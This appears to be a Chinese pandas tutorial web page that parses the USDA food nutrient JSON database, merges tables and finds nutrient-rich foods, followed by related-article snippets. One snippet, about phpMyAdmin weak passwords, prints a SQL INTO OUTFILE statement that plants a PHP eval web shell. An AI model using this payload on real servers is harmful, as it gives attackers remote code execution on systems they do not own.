pandas教程:USDA Food Database USDA食品数据库
文章目录
- 14.4 USDA Food Database(美国农业部食品数据库)
14.4 USDA Food Database(美国农业部食品数据库)
这个数据是关于食物营养成分的。存储格式是JSON
,看起来像这样:
{"id": 21441, "description": "KENTUCKY FRIED CHICKEN, Fried Chicken, EXTRA CRISPY, Wing, meat and skin with breading", "tags": ["KFC"], "manufacturer": "Kentucky Fried Chicken", "group": "Fast Foods", "portions": [ { "amount": 1, "unit": "wing, with skin", "grams": 68.0}...],"nutrients": [ { "value": 20.8, "units": "g", "description": "Protein", "group": "Composition" },...]
}
每种食物都有一系列特征,其中有两个list,protions
和nutrients
。我们必须把这样的数据进行处理,方便之后的分析。
这里使用python
内建的json
模块:
import pandas as pd
import numpy as np
import json
pd.options.display.max_rows = 10
db = json.load(open('../datasets/usda_food/database.json'))
len(db)
6636
db[0].keys()
dict_keys(['manufacturer', 'description', 'group', 'id', 'tags', 'nutrients', 'portions'])
db[0]['nutrients'][0]
{'description': 'Protein','group': 'Composition','units': 'g','value': 25.18}
nutrients = pd.DataFrame(db[0]['nutrients'])
nutrients
description | group | units | value | |
---|---|---|---|---|
0 | Protein | Composition | g | 25.180 |
1 | Total lipid (fat) | Composition | g | 29.200 |
2 | Carbohydrate, by difference | Composition | g | 3.060 |
3 | Ash | Other | g | 3.280 |
4 | Energy | Energy | kcal | 376.000 |
... | ... | ... | ... | ... |
157 | Serine | Amino Acids | g | 1.472 |
158 | Cholesterol | Other | mg | 93.000 |
159 | Fatty acids, total saturated | Other | g | 18.584 |
160 | Fatty acids, total monounsaturated | Other | g | 8.275 |
161 | Fatty acids, total polyunsaturated | Other | g | 0.830 |
162 rows × 4 columns
当把由字典组成的list
转换为DataFrame
的时候,我们可以吹创业提取的list
部分。这里我们提取食品名,群(group
),ID
,制造商:
info_keys = ['description', 'group', 'id', 'manufacturer']
info = pd.DataFrame(db, columns=info_keys)
info[:5]
description | group | id | manufacturer | |
---|---|---|---|---|
0 | Cheese, caraway | Dairy and Egg Products | 1008 | |
1 | Cheese, cheddar | Dairy and Egg Products | 1009 | |
2 | Cheese, edam | Dairy and Egg Products | 1018 | |
3 | Cheese, feta | Dairy and Egg Products | 1019 | |
4 | Cheese, mozzarella, part skim milk | Dairy and Egg Products | 1028 |
info.info()
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 6636 entries, 0 to 6635
Data columns (total 4 columns):
description 6636 non-null object
group 6636 non-null object
id 6636 non-null int64
manufacturer 5195 non-null object
dtypes: int64(1), object(3)
memory usage: 207.5+ KB
我们可以看到食物群的分布,使用value_counts
:
pd.value_counts(info.group)[:10]
Vegetables and Vegetable Products 812
Beef Products 618
Baked Products 496
Breakfast Cereals 403
Legumes and Legume Products 365
Fast Foods 365
Lamb, Veal, and Game Products 345
Sweets 341
Pork Products 328
Fruits and Fruit Juices 328
Name: group, dtype: int64
这里我们对所有的nutrient
数据做一些分析,把每种食物的nutrient
部分组合成一个大表格。首先,把每个食物的nutrient
列表变为DataFrame
,添加一列为id
,然后把id添加到DataFrame
中,接着使用concat
联结到一起:
# 先创建一个空DataFrame用来保存最后的结果
# 这部分代码运行时间较长,请耐心等待
nutrients_all = pd.DataFrame()for food in db:nutrients = pd.DataFrame(food['nutrients'])nutrients['id'] = food['id']nutrients_all = nutrients_all.append(nutrients, ignore_index=True)
译者:虽然作者在书中说了用concat联结在一起,但我实际测试后,这个concat的方法非常耗时,用时几乎是append方法的两倍,所以上面的代码中使用了append方法。
一切正常的话出来的效果是这样的:
nutrients_all
description | group | units | value | id | |
---|---|---|---|---|---|
0 | Protein | Composition | g | 25.180 | 1008 |
1 | Total lipid (fat) | Composition | g | 29.200 | 1008 |
2 | Carbohydrate, by difference | Composition | g | 3.060 | 1008 |
3 | Ash | Other | g | 3.280 | 1008 |
4 | Energy | Energy | kcal | 376.000 | 1008 |
... | ... | ... | ... | ... | ... |
389350 | Vitamin B-12, added | Vitamins | mcg | 0.000 | 43546 |
389351 | Cholesterol | Other | mg | 0.000 | 43546 |
389352 | Fatty acids, total saturated | Other | g | 0.072 | 43546 |
389353 | Fatty acids, total monounsaturated | Other | g | 0.028 | 43546 |
389354 | Fatty acids, total polyunsaturated | Other | g | 0.041 | 43546 |
389355 rows × 5 columns
这个DataFrame
中有一些重复的部分,看一下有多少重复的行:
nutrients_all.duplicated().sum() # number of duplicates
14179
把重复的部分去掉:
nutrients_all = nutrients_all.drop_duplicates()
nutrients_all
description | group | units | value | id | |
---|---|---|---|---|---|
0 | Protein | Composition | g | 25.180 | 1008 |
1 | Total lipid (fat) | Composition | g | 29.200 | 1008 |
2 | Carbohydrate, by difference | Composition | g | 3.060 | 1008 |
3 | Ash | Other | g | 3.280 | 1008 |
4 | Energy | Energy | kcal | 376.000 | 1008 |
... | ... | ... | ... | ... | ... |
389350 | Vitamin B-12, added | Vitamins | mcg | 0.000 | 43546 |
389351 | Cholesterol | Other | mg | 0.000 | 43546 |
389352 | Fatty acids, total saturated | Other | g | 0.072 | 43546 |
389353 | Fatty acids, total monounsaturated | Other | g | 0.028 | 43546 |
389354 | Fatty acids, total polyunsaturated | Other | g | 0.041 | 43546 |
375176 rows × 5 columns
为了与info_keys
中的group
和descripton
区别开,我们把列名更改一下:
col_mapping = {'description': 'food','group': 'fgroup'}
info = info.rename(columns=col_mapping, copy=False)
info.info()
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 6636 entries, 0 to 6635
Data columns (total 4 columns):
food 6636 non-null object
fgroup 6636 non-null object
id 6636 non-null int64
manufacturer 5195 non-null object
dtypes: int64(1), object(3)
memory usage: 207.5+ KB
col_mapping = {'description' : 'nutrient','group': 'nutgroup'}
nutrients_all = nutrients_all.rename(columns=col_mapping, copy=False)
nutrients_all
nutrient | nutgroup | units | value | id | |
---|---|---|---|---|---|
0 | Protein | Composition | g | 25.180 | 1008 |
1 | Total lipid (fat) | Composition | g | 29.200 | 1008 |
2 | Carbohydrate, by difference | Composition | g | 3.060 | 1008 |
3 | Ash | Other | g | 3.280 | 1008 |
4 | Energy | Energy | kcal | 376.000 | 1008 |
... | ... | ... | ... | ... | ... |
389350 | Vitamin B-12, added | Vitamins | mcg | 0.000 | 43546 |
389351 | Cholesterol | Other | mg | 0.000 | 43546 |
389352 | Fatty acids, total saturated | Other | g | 0.072 | 43546 |
389353 | Fatty acids, total monounsaturated | Other | g | 0.028 | 43546 |
389354 | Fatty acids, total polyunsaturated | Other | g | 0.041 | 43546 |
375176 rows × 5 columns
上面所有步骤结束后,我们可以把info
和nutrients_all
合并(merge
):
ndata = pd.merge(nutrients_all, info, on='id', how='outer')
ndata.info()
<class 'pandas.core.frame.DataFrame'>
Int64Index: 375176 entries, 0 to 375175
Data columns (total 8 columns):
nutrient 375176 non-null object
nutgroup 375176 non-null object
units 375176 non-null object
value 375176 non-null float64
id 375176 non-null int64
food 375176 non-null object
fgroup 375176 non-null object
manufacturer 293054 non-null object
dtypes: float64(1), int64(1), object(6)
memory usage: 25.8+ MB
ndata.iloc[30000]
nutrient Glycine
nutgroup Amino Acids
units g
value 0.04
id 6158
food Soup, tomato bisque, canned, condensed
fgroup Soups, Sauces, and Gravies
manufacturer
Name: 30000, dtype: object
我们可以对食物群(food group
)和营养类型(nutrient type
)分组后,对中位数进行绘图:
result = ndata.groupby(['nutrient', 'fgroup'])['value'].quantile(0.5)
%matplotlib inline
result['Zinc, Zn'].sort_values().plot(kind='barh', figsize=(10, 8))
我们还可以找到每一种营养成分含量最多的食物是什么:
by_nutrient = ndata.groupby(['nutgroup', 'nutrient'])get_maximum = lambda x: x.loc[x.value.idxmax()]
get_minimum = lambda x: x.loc[x.value.idxmin()]max_foods = by_nutrient.apply(get_maximum)[['value', 'food']]# make the food a little smaller
max_foods.food = max_foods.food.str[:50]
因为得到的DataFrame
太大,这里只输出'Amino Acids'
(氨基酸)的营养群(nutrient group
):
max_foods.loc['Amino Acids']['food']
nutrient
Alanine Gelatins, dry powder, unsweetened
Arginine Seeds, sesame flour, low-fat
Aspartic acid Soy protein isolate
Cystine Seeds, cottonseed flour, low fat (glandless)
Glutamic acid Soy protein isolate...
Serine Soy protein isolate, PROTEIN TECHNOLOGIES INTE...
Threonine Soy protein isolate, PROTEIN TECHNOLOGIES INTE...
Tryptophan Sea lion, Steller, meat with fat (Alaska Native)
Tyrosine Soy protein isolate, PROTEIN TECHNOLOGIES INTE...
Valine Soy protein isolate, PROTEIN TECHNOLOGIES INTE...
Name: food, Length: 19, dtype: object
相关文章:

pandas教程:USDA Food Database USDA食品数据库
文章目录 14.4 USDA Food Database(美国农业部食品数据库) 14.4 USDA Food Database(美国农业部食品数据库) 这个数据是关于食物营养成分的。存储格式是JSON,看起来像这样: {"id": 21441, &quo…...

0基础学习VR全景平台篇第122篇:VR视频剪辑和输出 - PR软件教程
上课!全体起立~ 大家好,欢迎观看蛙色官方系列全景摄影课程! 开始之前如果没有接触过pr这款软件的话,建议先去看上一篇 认识视频剪辑软件Premiere 大致了解一下pr。 回到正题今天来教大家VR视频的剪辑和输出 我们先双击打开…...

ucharts中,当数据为0时,不显示
当为0时,会显示出来,值比较小的时候,数据会显示在一起,不美观 期望效果: 实现步骤: 我是将uCharts插件下载导入到src/uni_modules下的 1、修改src/uni_modules/qiun-data-charts/js_sdk/u-charts/confi…...

React函数组件渲染两次
渲染两次是因为react默认开启了严格模式 React.StrictMode标签作用: 1、识别不安全的生命周期 2、关于使用过时字符串 ref API 的警告 3、关于使用废弃的 findDOMNode 方法的警告 4、检测意外的副作用 5、检测过时的 context API 注释掉React.StrictMode即为关闭严…...

人工智能 - 图像分类:发展历史、技术全解与实战
目录 一、:图像分类的历史与进展历史回顾深度学习的革命当前趋势未来展望 二:核心技术解析图像预处理神经网络基础卷积神经网络(CNN)深度学习框架 第三部分:核心代码与实现环境搭建数据加载和预处理构建CNN模型模型训练…...

go标准库
golang标准库io包 input output io操作是一个很庞大的工程,被封装到了许多包中以供使用 先来讲最基本的io接口 Go语言中最基本的I/O接口是io.Reader和io.Writer。这些接口定义了读取和写入数据的通用方法,为不同类型的数据源和数据目标提供了统一的接…...

【Web安全】拿到phpMyAdmin如何获取权限
文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…...
Python与GPU编程快速入门(一)
Python与GPU编程快速入门 文章目录 Python与GPU编程快速入门1、图形处理单元(Graphics Processing Unit,GPU)1.1 并行设计1.2 速度优势本系列文章将详细介绍如何在Python中使用CUDA,从而使Python应用程序加速。 1、图形处理单元(Graphics Processing Unit,GPU) 图形处理…...

C语言--每日选择题--Day29
第一题 1. while(1) {x;}, 当x的取合适的初值时,可以避免死循环。 A:正确 B:错误 答案及解析 B 循环条件为1,在条件判断中,0为假,非0为真,1位真,所以无论x取什么,都是死循…...
ESP32:物联网时代的神器
随着物联网技术的不断发展,人们的生活正在发生着翻天覆地的变化。在这个万物互联的时代,ESP32作为一种功能强大的微控制器,正发挥着越来越重要的作用。本文将介绍ESP32的特点和应用,并探讨其在物联网时代的优势和潜力。 一、ESP3…...

docker和docker-compose生产的容器,不在同一个网段,解决方式
在实际项目中,使用docker run xxXx 和docker-compose up -d 不在同一个网段,一个是默认是172.17.x.x, 另一个是172.19.x.x。为解决这个问题需要自定义一个网络,我命名为“my-bridge” 首先熟悉几条命令: docker network ls 或…...

基于JavaWeb+SSM+Vue校园综合服务小程序系统的设计和实现
基于JavaWebSSMVue校园综合服务小程序系统的设计和实现 源码获取入口Lun文目录前言主要技术系统设计功能截图订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码获取入口 Lun文目录 摘 要 I Abstract II 第一章 绪 论 1 1.1选题背景 2 1.2研究现状 3 1.3研究内容 …...
私域运营:资源盘点及争取策略
在私域运营过程中,资源盘点是一项至关重要的工作。它可以帮助我们了解手头现有的资源和支持,以便更高效地利用它们。本文将探讨如何进行私域运营中的资源盘点,以及如何争取更多的资源和支持。 一、现有资源 在私域运营中,我们需要…...

图书管理系统源码,图书管理系统开发,图书借阅系统源码整体功能演示
用户登录 基础资料 操作员管理 超期罚金设置 读者分类 读者管理 图书分类 图书管理 图书借还管理 图书借取 图书还去 图书借还查询 读者借书排行 用户登录 运行View目录下Login文件夹下的Index.csthml出现登录界面,输入用户名密码分别是admin密码admin12…...

(C++)字符串相乘
个人主页:Lei宝啊 愿所有美好如期而遇 题目链接如下: 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台备战技术面试?力扣提供海量技术面试资源,帮助你高效提升编程技能,轻松拿下世界 IT 名…...

1992-2021年区县经过矫正的夜间灯光数据(GNLD、VIIRS)
1992-2021年区县经过矫正的夜间灯光数据(GNLD、VIIRS) 1、时间:1992-2021年3月,其中1992-2013年为年度数据,2013-2021年3月为月度数据 2、来源:DMSP、VIIRS 3、范围:区县数据 4、指标解释&a…...

RK3568笔记六:基于Yolov8的训练及部署
若该文为原创文章,转载请注明原文出处。 基于Yolov8的训练及部署,参考鲁班猫的手册训练自己的数据集部署到RK3568,用的是正点的板子。 1、 使用 conda 创建虚拟环境 conda create -n yolov8 python3.8 conda activate yolov8 2、 安装 pytorch 等…...

【活动回顾】sCrypt在柏林B2029开发者周
B2029 是柏林的一个区块链爱好者、艺术家和建设者聚会,学习、讨论和共同构建比特币区块链地方。 在2023年6月9日至11日,举行了第7次Hello Metanet研讨会。本次研讨会旨在为参与者提供一个学习、讨论和共同构建比特币区块链的平台。 在这个充满激情和创意…...
【SpringBoot3+Vue3】六【完】【番外篇】- (0-1临摹)
目录 一、后端 1、服务器管理 1.1 ProjectController 1.2 ProjectService 1.3 ProjectServiceImpl 1.4 ProjectMapper 1.5 实体类 2、项目管理 2.1 ServerManageController 2.2 ServerManageService 2.3 ServerManageServiceImpl 2.4 ServerManageMapper 2.5 Serv…...

生成式AI与大语言模型,东软已经准备就绪
伴随着ChatGPT的火爆全球,数以百计的大语言模型也争先恐后地加入了这一战局,掀起了一场轰轰烈烈的“百模大战”。毋庸置疑的是,继方兴未艾的人工智能普及大潮之后,生成式AI与大语言模型正在全球开启新一轮生产力革新的科技浪潮。 …...
FastAPI 教程:从入门到实践
FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建 API,支持 Python 3.6。它基于标准 Python 类型提示,易于学习且功能强大。以下是一个完整的 FastAPI 入门教程,涵盖从环境搭建到创建并运行一个简单的…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
React Native在HarmonyOS 5.0阅读类应用开发中的实践
一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强,React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 (1)使用React Native…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...

vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...

【笔记】WSL 中 Rust 安装与测试完整记录
#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统:Ubuntu 24.04 LTS (WSL2)架构:x86_64 (GNU/Linux)Rust 版本:rustc 1.87.0 (2025-05-09)Cargo 版本:cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...

iview框架主题色的应用
1.下载 less要使用3.0.0以下的版本 npm install less2.7.3 npm install less-loader4.0.52./src/config/theme.js文件 module.exports {yellow: {theme-color: #FDCE04},blue: {theme-color: #547CE7} }在sass中使用theme配置的颜色主题,无需引入,直接可…...

Linux中《基础IO》详细介绍
目录 理解"文件"狭义理解广义理解文件操作的归类认知系统角度文件类别 回顾C文件接口打开文件写文件读文件稍作修改,实现简单cat命令 输出信息到显示器,你有哪些方法stdin & stdout & stderr打开文件的方式 系统⽂件I/O⼀种传递标志位…...

快速排序算法改进:随机快排-荷兰国旗划分详解
随机快速排序-荷兰国旗划分算法详解 一、基础知识回顾1.1 快速排序简介1.2 荷兰国旗问题 二、随机快排 - 荷兰国旗划分原理2.1 随机化枢轴选择2.2 荷兰国旗划分过程2.3 结合随机快排与荷兰国旗划分 三、代码实现3.1 Python实现3.2 Java实现3.3 C实现 四、性能分析4.1 时间复杂度…...

AD学习(3)
1 PCB封装元素组成及简单的PCB封装创建 封装的组成部分: (1)PCB焊盘:表层的铜 ,top层的铜 (2)管脚序号:用来关联原理图中的管脚的序号,原理图的序号需要和PCB封装一一…...